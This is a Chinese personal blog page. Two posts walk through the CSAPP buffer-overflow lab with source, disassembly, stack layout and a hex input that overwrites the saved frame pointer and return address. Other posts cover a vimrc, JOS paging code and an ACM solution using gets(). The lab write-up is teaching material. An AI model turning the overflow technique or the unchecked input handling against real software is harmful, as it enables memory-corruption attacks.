CSAPP:缓冲区溢出攻击实验(Part 2)

Posted on Wed, 16 Mar 2011 18:19:20 -1100

有了反汇编,在结合源码来找思路:

1:

main函数里,作者使用了一个little hack trick

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) & 0xFFF);
  int *space = (int *) alloca(offset);
  *space = 0; /* So that don't get complaint of unused variable */
  test();
  return 0;
}

因为栈是向下生长,且linux有一种对栈的随机保护机制,即最初的ebp在2^23字节范围内浮动

而linux通常一个page的大小为4k;

所以offset & 0xfff 即可得到当前的esp所在的页的 剩余字节数。

-------4k

 

esp

 

-------0

esp的低12位即为当前页的剩余字节数。main的作用之一就是确保在进入test函数时,使用的是一个全新的page.同时也确保了进入test时,ebp为一确定值。

根据汇编流程,对栈帧的分析 可以得到如下的栈结构:

addr            content
bfffefdc        080485a5(eip return to main)
bfffefd8        bffff6e8(save ebp for main)
bfffefd8        test's ebp
.
.
bfffefcc        **ebp-12**,the return value of getbuf
.
.
.
.
bfffefb0        esp(for test)
bfffefac        08048543(eip return to test)
bfffefa8        bfffefd8(save ebp for test)
.
.
.
bfffef94        &buf
.
.
.
bfffef80        buf(arg)        
bfffef7c        08048524        (eip return to getbuf)
bfffef78        ebp             getxs's ebp

于是有思路了,通过向buf写入多于12字节的内容,达到改写栈的效果,而主要改写的内容则为ebp(bfffefa8),eip(bfffefac),esp(bfffefb0).

再仔细研究,反汇编test的部分代码:printf("getbuf returned 0x%x\n", val);

   0x08048539 <+14>:     e8 3a fe ff ff call   0x8048378 <printf@plt>
   0x0804853e <+19>:     e8 d0 ff ff ff call   0x8048513 <getbuf>
   0x08048543 <+24>:     89 45 f4       mov    %eax,-0xc(%ebp)
=> 0x08048546 <+27>:     b8 91 86 04 08 mov    $0x8048691,%eax
   0x0804854b <+32>:     8b 55 f4       mov    -0xc(%ebp),%edx
   0x0804854e <+35>:     89 54 24 04    mov    %edx,0x4(%esp)
   0x08048552 <+39>:     89 04 24       mov    %eax,(%esp)

从箭头的上面一行开始看,getbuf的返回值在eax中。之后eax存入-0xc(%ebp),字符串地址存入edx,然后printf的参数一次进栈(由右至左),特别注意getbuf返回值的动向:eax存入-0xc(%ebp),-0xc(%ebp)作为参数存入0x4(%esp).从这里发现:只要让eax对-0x(%ebp)的赋值失效,然后在-0x(%ebp)处写入自己希望的值,即可让该值如栈,达到"改写" val的效果.那怎么让eax对-0x(%ebp)的赋值失效?可以通过getbuf返回时,要恢复的eip处下手,如果让eip运行的指令地址为0x08048546即可(原为0x08048543)。两eip差为三。则可以将bffefac处的内容改写为0x08048546.之后为了顺利返回,保持原本的栈结构。bffefa8(ebp)及bfffefb0(esp)可保持原样写入。最后一步,由于-0xc(%ebp)的赋值为“未初始化”,最后向该地址写入 “希望的内容”后,该内容即可作为printf的参数了。done.

00000000 00000001 00000002 00000003 00000004 d8efffbf 46850408 00f0ffbf 00000008 00000009 0000000a 0000000b 0000000c 0000000d efbeadde

不要忘记忽略大小端的影响!本输入内容为小端环境!

最后根据这个思路,在生成执行文件是若不使用-fno-stack-protector,也应该可以实现该效果,就不多说了。欢迎讨论,提供新思路:D

CSAPP:缓冲区溢出攻击实验(Part 1)

Posted on Wed, 16 Mar 2011 16:44:55 -1100

这是源码:

/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{
  int c;
  int even = 1; /* Have read even number of digits */
  int otherd = 0; /* Other hex digit of pair */
  char *sp = dest;
  while ((c = getchar()) != EOF && c != '\n') {
    if (isxdigit(c)) {
      int val;
      if ('0' <= c && c <= '9')
        val = c - '0';
      else if ('A' <= c && c <= 'F')
        val = c - 'A' + 10;
      else
        val = c - 'a' + 10;
      if (even) {
        otherd = val;
        even = 0;
      } else {
        *sp++ = otherd * 16 + val;
        even = 1;
      }
    }
  }
  *sp++ = '\0';
  return dest;
}

/* $begin getbuf-c */
int getbuf()
{
    char buf[12];
    getxs(buf);
    return 1;
}

void test()
{
  int val;
  printf("Type Hex string:");
  val = getbuf();
  printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) & 0xFFF);
  int *space = (int *) alloca(offset);
  *space = 0; /* So that don't get complaint of unused variable */
  test();
  return 0;
}

想办法让test的printf语句不返回1,其实 可以指定返回内容:D

恩,首先 既然是用缓冲区溢出的漏洞,那要先了解stack frame的结构,反汇编必不可少了

gcc -o dis_buff.s -S buff.c

	.file	"buff.c"
	.text
.globl getxs
	.type	getxs, @function
getxs:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	movl	$1, -16(%ebp)
	movl	$0, -20(%ebp)
	movl	8(%ebp), %eax
	movl	%eax, -24(%ebp)
	jmp	.L2
.L8:
	call	__ctype_b_loc
	movl	(%eax), %eax
	movl	-12(%ebp), %edx
	addl	%edx, %edx
	addl	%edx, %eax
	movzwl	(%eax), %eax
	movzwl	%ax, %eax
	andl	$4096, %eax
	testl	%eax, %eax
	je	.L2
	cmpl	$47, -12(%ebp)
	jle	.L3
	cmpl	$57, -12(%ebp)
	jg	.L3
	movl	-12(%ebp), %eax
	subl	$48, %eax
	movl	%eax, -28(%ebp)
	jmp	.L4
.L3:
	cmpl	$64, -12(%ebp)
	jle	.L5
	cmpl	$70, -12(%ebp)
	jg	.L5
	movl	-12(%ebp), %eax
	subl	$55, %eax
	movl	%eax, -28(%ebp)
	jmp	.L4
.L5:
	movl	-12(%ebp), %eax
	subl	$87, %eax
	movl	%eax, -28(%ebp)
.L4:
	cmpl	$0, -16(%ebp)
	je	.L6
	movl	-28(%ebp), %eax
	movl	%eax, -20(%ebp)
	movl	$0, -16(%ebp)
	jmp	.L2
.L6:
	movl	-20(%ebp), %eax
	movl	%eax, %edx
	sall	$4, %edx
	movl	-28(%ebp), %eax
	leal	(%edx,%eax), %eax
	movl	%eax, %edx
	movl	-24(%ebp), %eax
	movb	%dl, (%eax)
	addl	$1, -24(%ebp)
	movl	$1, -16(%ebp)
.L2:
	call	getchar
	movl	%eax, -12(%ebp)
	cmpl	$-1, -12(%ebp)
	je	.L7
	cmpl	$10, -12(%ebp)
	jne	.L8
.L7:
	movl	-24(%ebp), %eax
	movb	$0, (%eax)
	addl	$1, -24(%ebp)
	movl	8(%ebp), %eax
	leave
	ret
	.size	getxs, .-getxs
.globl getbuf
	.type	getbuf, @function
getbuf:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	movl	%gs:20, %eax
	movl	%eax, -12(%ebp)
	xorl	%eax, %eax
	leal	-24(%ebp), %eax
	movl	%eax, (%esp)
	call	getxs
	movl	$1, %eax
	movl	-12(%ebp), %edx
	xorl	%gs:20, %edx
	je	.L12
	call	__stack_chk_fail
.L12:
	leave
	ret
	.size	getbuf, .-getbuf
	.section	.rodata
.LC0:
	.string	"Type Hex string:"
.LC1:
	.string	"getbuf returned 0x%x\n"
	.text
.globl test
	.type	test, @function
test:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	movl	$.LC0, %eax
	movl	%eax, (%esp)
	call	printf
	call	getbuf
	movl	%eax, -12(%ebp)
	movl	$.LC1, %eax
	movl	-12(%ebp), %edx
	movl	%edx, 4(%esp)
	movl	%eax, (%esp)
	call	printf
	leave
	ret
	.size	test, .-test
.globl main
	.type	main, @function
main:
	leal	4(%esp), %ecx
	andl	$-16, %esp
	pushl	-4(%ecx)
	pushl	%ebp
	movl	%esp, %ebp
	pushl	%ecx
	subl	$84, %esp
	movl	%gs:20, %eax
	movl	%eax, -12(%ebp)
	xorl	%eax, %eax
	leal	-84(%ebp), %eax
	andl	$4095, %eax
	movl	%eax, -16(%ebp)
	movl	-16(%ebp), %eax
	addl	$15, %eax
	addl	$15, %eax
	shrl	$4, %eax
	sall	$4, %eax
	subl	%eax, %esp
	movl	%esp, %eax
	addl	$15, %eax
	shrl	$4, %eax
	sall	$4, %eax
	movl	%eax, -20(%ebp)
	movl	-20(%ebp), %eax
	movl	$0, (%eax)
	call	test
	movl	$0, %eax
	movl	-12(%ebp), %edx
	xorl	%gs:20, %edx
	je	.L17
	call	__stack_chk_fail
.L17:
	movl	-4(%ebp), %ecx
	leave
	leal	-4(%ecx), %esp
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5"
	.section	.note.GNU-stack,"",@progbits

有了反汇编之后,发现诡异的几行:85,93,135,157出现了个诡异的%gs:20以及个诡异的函数__stack_chk_fail.

查阅资料后,了解到__stack_chk_fail是GCC较新版本的一个栈保护的函数,大概的原理是通过调用在调用对栈可能构成危险的函数前存入一个特殊的值%gs:20并放如当前栈中,在函数调用结束后,用__stack_chk_fail函数对该特殊值进行检查该特殊值是否被改变,若改变,则栈被破坏。所以,目前__stack_chk_fail也是个阻碍,为了方便,暂时先不需要理会这个gcc的栈保护机制。

所以,目前重点研究的汇编代码如下:

 gcc -fno-stack-protector -o dis_buff_nochk.s -S buff.c

	.file	"buff.c"
	.text
.globl getxs
	.type	getxs, @function
getxs:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	movl	$1, -24(%ebp)
	movl	$0, -20(%ebp)
	movl	8(%ebp), %eax
	movl	%eax, -16(%ebp)
	jmp	.L2
.L8:
	call	__ctype_b_loc
	movl	(%eax), %eax
	movl	-28(%ebp), %edx
	addl	%edx, %edx
	addl	%edx, %eax
	movzwl	(%eax), %eax
	movzwl	%ax, %eax
	andl	$4096, %eax
	testl	%eax, %eax
	je	.L2
	cmpl	$47, -28(%ebp)
	jle	.L3
	cmpl	$57, -28(%ebp)
	jg	.L3
	movl	-28(%ebp), %eax
	subl	$48, %eax
	movl	%eax, -12(%ebp)
	jmp	.L4
.L3:
	cmpl	$64, -28(%ebp)
	jle	.L5
	cmpl	$70, -28(%ebp)
	jg	.L5
	movl	-28(%ebp), %eax
	subl	$55, %eax
	movl	%eax, -12(%ebp)
	jmp	.L4
.L5:
	movl	-28(%ebp), %eax
	subl	$87, %eax
	movl	%eax, -12(%ebp)
.L4:
	cmpl	$0, -24(%ebp)
	je	.L6
	movl	-12(%ebp), %eax
	movl	%eax, -20(%ebp)
	movl	$0, -24(%ebp)
	jmp	.L2
.L6:
	movl	-20(%ebp), %eax
	movl	%eax, %edx
	sall	$4, %edx
	movl	-12(%ebp), %eax
	leal	(%edx,%eax), %eax
	movl	%eax, %edx
	movl	-16(%ebp), %eax
	movb	%dl, (%eax)
	addl	$1, -16(%ebp)
	movl	$1, -24(%ebp)
.L2:
	call	getchar
	movl	%eax, -28(%ebp)
	cmpl	$-1, -28(%ebp)
	je	.L7
	cmpl	$10, -28(%ebp)
	jne	.L8
.L7:
	movl	-16(%ebp), %eax
	movb	$0, (%eax)
	addl	$1, -16(%ebp)
	movl	8(%ebp), %eax
	leave
	ret
	.size	getxs, .-getxs
.globl getbuf
	.type	getbuf, @function
getbuf:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	leal	-20(%ebp), %eax
	movl	%eax, (%esp)
	call	getxs
	movl	$1, %eax
	leave
	ret
	.size	getbuf, .-getbuf
	.section	.rodata
.LC0:
	.string	"Type Hex string:"
.LC1:
	.string	"getbuf returned 0x%x\n"
	.text
.globl test
	.type	test, @function
test:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	movl	$.LC0, %eax
	movl	%eax, (%esp)
	call	printf
	call	getbuf
	movl	%eax, -12(%ebp)
	movl	$.LC1, %eax
	movl	-12(%ebp), %edx
	movl	%edx, 4(%esp)
	movl	%eax, (%esp)
	call	printf
	leave
	ret
	.size	test, .-test
.globl main
	.type	main, @function
main:
	leal	4(%esp), %ecx
	andl	$-16, %esp
	pushl	-4(%ecx)
	pushl	%ebp
	movl	%esp, %ebp
	pushl	%ecx
	subl	$84, %esp
	leal	-80(%ebp), %eax
	andl	$4095, %eax
	movl	%eax, -16(%ebp)
	movl	-16(%ebp), %eax
	addl	$15, %eax
	addl	$15, %eax
	shrl	$4, %eax
	sall	$4, %eax
	subl	%eax, %esp
	movl	%esp, %eax
	addl	$15, %eax
	shrl	$4, %eax
	sall	$4, %eax
	movl	%eax, -12(%ebp)
	movl	-12(%ebp), %eax
	movl	$0, (%eax)
	call	test
	movl	$0, %eax
	movl	-4(%ebp), %ecx
	leave
	leal	-4(%ecx), %esp
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5"
	.section	.note.GNU-stack,"",@progbits

 

my vimrc.

Posted on Tue, 15 Mar 2011 00:26:02 -1100
"       SUNUS'S VIMRC
"       last modified   :       15, Mar, 2011
"       update log:
"       added 'F4'      comment / 'F5'Un-comment feature
"       added 'F2'      Flod    / 'F3'Un-Flod feature
"       added '\h'      show a decimal value's hex value
"       added '\\h'     replace a decimal value with it's hex value     15, Mar, 2011
" All system-wide defaults are set in $VIMRUNTIME/debian.vim (usually just
" /usr/share/vim/vimcurrent/debian.vim) and sourced by the call to :runtime
" you can find below.  If you wish to change any of those settings, you should
" do it in this file (/etc/vim/vimrc), since debian.vim will be overwritten
" everytime an upgrade of the vim packages is performed.  It is recommended to
" make changes after sourcing debian.vim since it alters the value of the
" 'compatible' option.

" This line should not be removed as it ensures that various options are
" properly set to work with the Vim-related packages available in Debian.
runtime! debian.vim

" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'.  Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible

" Vim5 and later versions support syntax highlighting. Uncommenting the
" following enables syntax highlighting by default.
if has("syntax")
syntax on
endif
set cindent
set ts=4 sts=8 sw=8 expandtab
set ruler
set number
colorscheme delek
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark

" Uncomment the following to have Vim jump to the last position when
" reopening a file
"if has("autocmd")
"  au BufReadPost * if line("'\"") > 1 && line("'\"") <= line("$") |
"exe "normal! g'\"" | endif
"endif

" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"if has("autocmd")
"  filetype plugin indent on
"endif

" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd            " Show (partial) command in status line.
"set showmatch          " Show matching brackets.
"set ignorecase         " Do case insensitive matching
"set smartcase          " Do smart case matching
"set incsearch          " Incremental search
"set autowrite          " Automatically save before commands like :next and :make
"set hidden             " Hide buffers when they are abandoned
"set mouse=a            " Enable mouse usage (all modes)

" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
if has("cscope")
set csprg=/usr/bin/cscope
set csto=1
set cst
set nocsverb
" add any database in current directory
if filereadable("cscope.out")
cs add cscope.out
endif
set csverb
endif

nmap <C-\>s :cs find s <C-R>=expand("<cword>")<CR><CR>
nmap <C-\>g :cs find g <C-R>=expand("<cword>")<CR><CR>
nmap <C-\>c :cs find c <C-R>=expand("<cword>")<CR><CR>
nmap <C-\>t :cs find t <C-R>=expand("<cword>")<CR><CR>
nmap <C-\>e :cs find e <C-R>=expand("<cword>")<CR><CR>
nmap <C-\>f :cs find f <C-R>=expand("<cfile>")<CR><CR>
nmap <C-\>i :cs find i ^<C-R>=expand("<cfile>")<CR>$<CR>
nmap <C-\>d :cs find d <C-R>=expand("<cword>")<CR><CR>

map <C-w>h :vertical resize +3<CR><CR>
map <C-w>j :vertical resize -3<CR><CR>
map <C-w>k :resize +3<CR><CR>
map <C-w>l :resize -3<CR><CR>
map <F2> <ESC>zf%
map <F3> <ESC>zo
imap <F2> <ESC><F2>o
imap <F3> <ESC><F2>o
" comment feature , we assume that the codes are alreadly FORMATED (ggvG==)
" comment this line and keep incident
map <F4> 0i//*<ESC>gj0
imap <F4> <ESC><F4>
" Un-comment this line and keep incident
map <F5> 0d3l==gj0
imap <F5> <ESC><F5>
"characters encoding

" show a decimal number's hex value by '\h'
nmap \h :echo printf('%x', <C-R><C-W>)<CR>
" replace a decimal with it's hex value by '\\h'
nmap \\h :s/<C-R><C-W>/\=printf('0x%08x', <C-R><C-W>)<CR>
set encoding=utf-8 fileencodings=ucs-bom,utf-8,cp936

 

JOS LAB2,Memory and Paging.PART 2

Posted on Wed, 24 Nov 2010 10:17:05 -1100

在PART1说完分页机制后,我们开始讨论具体的实现代码吧 !

第一个函数:

void
i386_vm_init(void)
{
    pde_t* pgdir;
    uint32_t cr0;
    size_t n;
    //////////////////////////////////////////////////////////////////////
    // create initial page directory.
    pgdir = boot_alloc(PGSIZE, PGSIZE);
    memset(pgdir, 0, PGSIZE);
    boot_pgdir = pgdir;
    boot_cr3 = PADDR(pgdir);
    //////////////////////////////////////////////////////////////////////
    // Recursively insert PD in itself as a page table, to form
    // a virtual page table at virtual address VPT.
    // (For now, you don't have understand the greater purpose of the
    // following two lines.)

    // Permissions: kernel RW, user NONE
    pgdir[PDX(VPT)] = PADDR(pgdir)|PTE_W|PTE_P;

    // same for UVPT
    // Permissions: kernel R, user R 
    pgdir[PDX(UVPT)] = PADDR(pgdir)|PTE_U|PTE_P;

    //////////////////////////////////////////////////////////////////////
    // Allocate an array of npage 'struct Page's and store it in 'pages'.
    // The kernel uses this array to keep track of physical pages: for
    // each physical page, there is a corresponding struct Page in this
    // array.  'npage' is the number of physical pages in memory.
    // User-level programs will get read-only access to the array as well.
    // Your code goes here:

    //*****************
    //SUNUS,Nov 15,2010
    pages = boot_alloc(npage * sizeof(struct Page), PGSIZE);
    ROUNDUP(pages,PGSIZE);
    cprintf("pages is %08x\n",PADDR(pages));
    /* I don't know how to deal with the permission stuffs,so leave it ! - SUNUS*/

    //////////////////////////////////////////////////////////////////////
    // Now that we've allocated the initial kernel data structures, we set
    // up the list of free physical pages. Once we've done so, all further
    // memory management will go through the page_* functions. In
    // particular, we can now map memory using boot_map_segment or page_insert
    page_init();

    check_page_alloc();

    page_check();

    //////////////////////////////////////////////////////////////////////
    // Now we set up virtual memory 

    //////////////////////////////////////////////////////////////////////
    // Map 'pages' read-only by the user at linear address UPAGES
    // Permissions:
    //    - the new image at UPAGES -- kernel R, user R
    //      (ie. perm = PTE_U | PTE_P)
    //    - pages itself -- kernel RW, user NONE
    // Your code goes here:

    //SUNUS,Nov,23,2010
    size_t actual_ptsize;
    actual_ptsize = ROUNDUP(npage * sizeof(struct Page),PGSIZE);

    boot_map_segment(pgdir, UPAGES, actual_ptsize, PADDR(pages), (PTE_W|PTE_U));

    //////////////////////////////////////////////////////////////////////
    // Use the physical memory that 'bootstack' refers to as the kernel
    // stack.  The kernel stack grows down from virtual address KSTACKTOP.
    // We consider the entire range from [KSTACKTOP-PTSIZE, KSTACKTOP) 
    // to be the kernel stack, but break this into two pieces:
    //     * [KSTACKTOP-KSTKSIZE, KSTACKTOP) -- backed by physical memory
    //     * [KSTACKTOP-PTSIZE, KSTACKTOP-KSTKSIZE) -- not backed; so if
    //       the kernel overflows its stack, it will fault rather than
    //       overwrite memory.  Known as a "guard page".
    //     Permissions: kernel RW, user NONE
    // Your code goes here:

    //SUNUS,Nov,23,2010
    boot_map_segment(pgdir, KSTACKTOP - KSTKSIZE, KSTKSIZE, PADDR(bootstack),PTE_W|PTE_P);
    boot_map_segment(pgdir, KSTACKTOP - PTSIZE, PTSIZE - KSTKSIZE, 0, 0 ); // I don't know if it's necessary -sunus//
    //////////////////////////////////////////////////////////////////////
    // Map all of physical memory at KERNBASE. 
    // Ie.  the VA range [KERNBASE, 2^32) should map to
    //      the PA range [0, 2^32 - KERNBASE)
    // We might not have 2^32 - KERNBASE bytes of physical memory, but
    // we just set up the mapping anyway.
    // Permissions: kernel RW, user NONE
    // Your code goes here: 
    boot_map_segment(pgdir, KERNBASE, 0x0fffffff + 1, 0, PTE_W|PTE_P);
    // Check that the initial page directory has been set up correctly.
    check_boot_pgdir();

    //////////////////////////////////////////////////////////////////////
    // On x86, segmentation maps a VA to a LA (linear addr) and
    // paging maps the LA to a PA.  I.e. VA => LA => PA.  If paging is
    // turned off the LA is used as the PA.  Note: there is no way to
    // turn off segmentation.  The closest thing is to set the base
    // address to 0, so the VA => LA mapping is the identity.

    // Current mapping: VA KERNBASE+x => PA x.
    //     (segmentation base=-KERNBASE and paging is off)

    // From here on down we must maintain this VA KERNBASE + x => PA x
    // mapping, even though we are turning on paging and reconfiguring
    // segmentation.

    // Map VA 0:4MB same as VA KERNBASE, i.e. to PA 0:4MB.
    // (Limits our kernel to <4MB)
    pgdir[0] = pgdir[PDX(KERNBASE)];

    // Install page table.
    lcr3(boot_cr3);

    // Turn on paging.
    cr0 = rcr0();
    cr0 |= CR0_PE|CR0_PG|CR0_AM|CR0_WP|CR0_NE|CR0_TS|CR0_EM|CR0_MP;
    cr0 &= ~(CR0_TS|CR0_EM);
    lcr0(cr0);

    // Current mapping: KERNBASE+x => x => x.
    // (x < 4MB so uses paging pgdir[0])

    // Reload all segment registers.
    asm volatile("lgdt gdt_pd");
    asm volatile("movw %%ax,%%gs" :: "a" (GD_UD|3));
    asm volatile("movw %%ax,%%fs" :: "a" (GD_UD|3));
    asm volatile("movw %%ax,%%es" :: "a" (GD_KD));
    asm volatile("movw %%ax,%%ds" :: "a" (GD_KD));
    asm volatile("movw %%ax,%%ss" :: "a" (GD_KD));
    asm volatile("ljmp %0,$1f\n 1:\n" :: "i" (GD_KT));  // reload cs
    asm volatile("lldt %%ax" :: "a" (0));

    // Final mapping: KERNBASE+x => KERNBASE+x => x.

    // This mapping was only used after paging was turned on but
    // before the segment registers were reloaded.
    pgdir[0] = 0;

    // Flush the TLB for good measure, to kill the pgdir[0] mapping.
    lcr3(boot_cr3);
}

这是开始的对内存初始化的函数,我们先来到

    static void*
boot_alloc(uint32_t n, uint32_t align)
{
    extern char end[];
    void *v;

    // Initialize boot_freemem if this is the first time.
    // 'end' is a magic symbol automatically generated by the linker,
    // which points to the end of the kernel's bss segment -
    // i.e., the first virtual address that the linker
    // did _not_ assign to any kernel code or global variables.
    if (boot_freemem == 0)
	boot_freemem = end;

    // LAB 2: Your code here:
    //	Step 1: round boot_freemem up to be aligned properly
    //		(hint: look in types.h for some handy macros)
    //	Step 2: save current value of boot_freemem as allocated chunk
    //	Step 3: increase boot_freemem to record allocation
    //	Step 4: return allocated chunk	
    // SUNUS Nov,14,2010
    boot_freemem = ROUNDUP(boot_freemem, align);
    v = boot_freemem;
    boot_freemem += n; 
    if(PADDR(boot_freemem)  > (maxpa))
      {
	cprintf("v is %08x , mapa is %08x\n",PADDR(boot_freemem),maxpa);
	cprintf("Memory Not Enough!\n");
	return NULL;
      }
    return v;
}

这里的 ROUNDUP是向上取整函数,这里的作用是让boot_freemem按4KB内存对齐。这样可以让寻址的效率达到最大。

该函数作用则是分配n字节大小的内存,且起始地址按align方式对齐。

而分配的方式,其实则是让boot_freemem指针不断自增,从而让boot_freemem的值 之前,end之后的地址为“已使用内存”.并返回下一个可使用内存地址。maxpa为最大物理地址,在之前的函数中已经被赋值,这里先不深究。

这里来到了

page_init(void),这里注意的是对于一个页是否可用的标志是pages[x].pp->ref,pp->ref位对页面引用的计数器,若等于0,则可用

对于初始化,要注意系统的有几个页面是不可用的(系统预留或处于安全原因):

pages[0],IOPHYSMEM~EXTPHYSMEM预留的IO HOLE还有内核位置[KERNBASE~boot_freemem]

    void
page_init(void)
{

    /*Nov 16,2010 Sunus */

    int i;
    pages[0].pp_ref = 1;
    LIST_INIT(&page_free_list);
    for(i = 1 ; i < npage ; i++)
      {
    pages[i].pp_ref = 0;
     if((i >= IOPHYSMEM/PGSIZE && i < EXTPHYSMEM/PGSIZE)  /*IO HOLE*/
         || (i >= PADDR(KERNBASE)/PGSIZE && i < (size_t)ROUNDUP(PADDR(boot_freemem),PGSIZE)/PGSIZE)) /*KERNBASE-boot_freemem*/
      {
        pages[i].pp_ref = 1;
        continue;
      }
    LIST_INSERT_HEAD(&page_free_list, &pages[i], pp_link);
      }
}

 

JOS LAB2,Memory and Paging.PART 1

Posted on Wed, 24 Nov 2010 06:17:31 -1100

和JOS的内存管理分页等等完了那么多天,终于可以勉强跑起来了,有必要写点啥。主要是针对JOS kern/pmap.c的一些体会理解,有不对的地方欢迎留言!先按照系统启动的进度来对一些重要的函数进行说明吧。

在开始之前,先说明几种地址

liner address(线性地址) 代码中使用较多的地址

virtual address(虚拟地址)

physical address(物理地址)也就是内存实际地址,基本在代码中很少直接出现

三者一个比较简单的关系就是

linear address 经过 分段机制得到 virtual address

vitural address 经过 分页机制(paging) 得到 physical.

分页机制是可选的在80286之后才有。如果分页机制没有启用 则可以说va = pa

pmap.c的重点则是对分页机制的实现,在开始实际讨论代码之前 先大体地说说分页机制是怎么工作的。

 

在系统中,有1个页目录(page directory)本身是一个有1024个元素,每个元素4byte(32位)的数组。其中的每个元素称为页目录项(page directory entry)。每个页目项录对应着着一个page table(页表)。页表大体与页目录相似,也是每个页表有1024个元素,称为页表项(page table entry),每个元素4byte。而不同的地方则是每个页表项对应着一块4kb的页。(内存的储存单位。在分页机制中,内存被分成一页一页的,JOS中每页4kb,以后也会有4MB为一页的).通过这种分页机制,让软件对内存地址的访问达到了 4GB(1024 * 1024 * 4kb)。即使系统的物理地址达不到4GB,通过分页机制,仍然可以让程序访问到高端内存。

程序中一般使用的线性地址是这样,分为3部分

31~~~~~~22~~~~~~11~~~~~0

|PDE-INDEX|PTE-INDEX|OFFSET| ; 最高10位是对页目录的索引范围位0~1024,中间10位是对页表的索引,最后十位是偏移

32位的PDE,实际上分为2部分

31~~~~~~~~12~~~~~~~0

|PTE--ADDRESS|ATTRIBUTE|   ;    高20位组成了一个地址,低12位中包含一些属性位。

32位的PTE,是这样

31~~~~~~~~~12~~~~~~~0

|PAGE-ADDRESS|ATTRIBUTE| ;     同样,高20位是一个地址,低12位包含一些属性位。

理解这些地址之后,我们看看系统是怎么完成这个二级寻址的(0-4GB).

在这里,页目录为pgdir,对于给定的la,先取前10位。JOS中用了个宏PDX(la);则pgdir[PDX(la)]则为la对应的页目录项,

该页目录项中的高20位则是对应的页表的地址。则PTX(la)则是对应的页表项。最后,页表项对应的地址(4KB的倍数)再加上便宜则可以得到最终的物理地址。

如图:

注意看000C8000H这个地址是怎么转移到0011000的。弄清楚之后我们继续:D

取000C8000H的高10位地址。为0,来到页目录的第0项,页目录项为00003003H.

取页目录项的高20位地址,为00003H(页表项的地址)。取000C8000H的12-21位(0011001000B = C8H),注意一个页的大小是位4KB,所以此时得到的C8H还需乘以4。C8H * 4 = 320H。即页表的第C8项的地址为00003000+320H = 00003320H.

而该页表项的内容则为对应的页地址如图,00110000H.由于此处的000C8000的偏移(低12位为0)所以最终000C8000H对应的地址为0011000H + 0 = 0011000H.

 

get down to OS!

Posted on Tue, 19 Oct 2010 11:56:05 -1100

嗯,把每天看过的源码记录下来。希望最终能有个好结果 不要漫无目的的看下去..

今天看了有minix系统的mini_send,mini_receive,mini_notify

感觉系统对标志位的操作(bit operation) 实在很厉害..配合宏定义和magic numbers;

dst_ptr->p_rts_flags & (RECEIVING | SENDING)) == RECEIVING

注意这这种使用方法..

以及十分严格的检测机制(死锁)等.

不仅十分节约空间 且十分明了.

 

Read more

想知道这段代码在内存上还可以优化不..

Posted on Wed, 11 Aug 2010 03:05:39 -1100
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
int main()
{
    short t;
    short count;
    short upps,lows,cp;
    char buff[102] = {0};
    char *p = buff;
    scanf("%hd%hd",&t,&t);
    while(t--)
        {
        count = upps = lows = cp = 0;
        p = buff;
        gets(buff);
        while(*p != '\0')
            {
            if(islower(*p))
                {
                for(upps = 0 ; islower(*p) ; p++, count++, lows++) ;

                if(cp)
                    {
                    if(lows >= 2 || (lows == 1 && *p == '\0'))
                        {
                        cp = !cp;  /* TURN OFF */
                        count++;
                        }
                    else
                        count += lows;/* Wether it's SHIFT or CP */
                    }
                }
            else if(isupper(*p))
                {
                for(lows = 0 ; isupper(*p) ; p++, count++, upps++) ;
                
                if(!cp)
                    {
                    if(upps > 2 || (upps == 2 && isupper(*(p+1))))
                        {
                        cp = !cp; /*TURN ON*/
                        count ++;
                        }
                    else
                        count += upps;
                    }
                }
            }
        if(cp)
            count++;
        printf("%d\n",count);
        }
    return 0;
}

 

看变量使用的内存其实并不多,可是为什么用了一百七十多K的内存 其他内存用在那个方面了?

acm.hdu.edu.cn/showproblem.php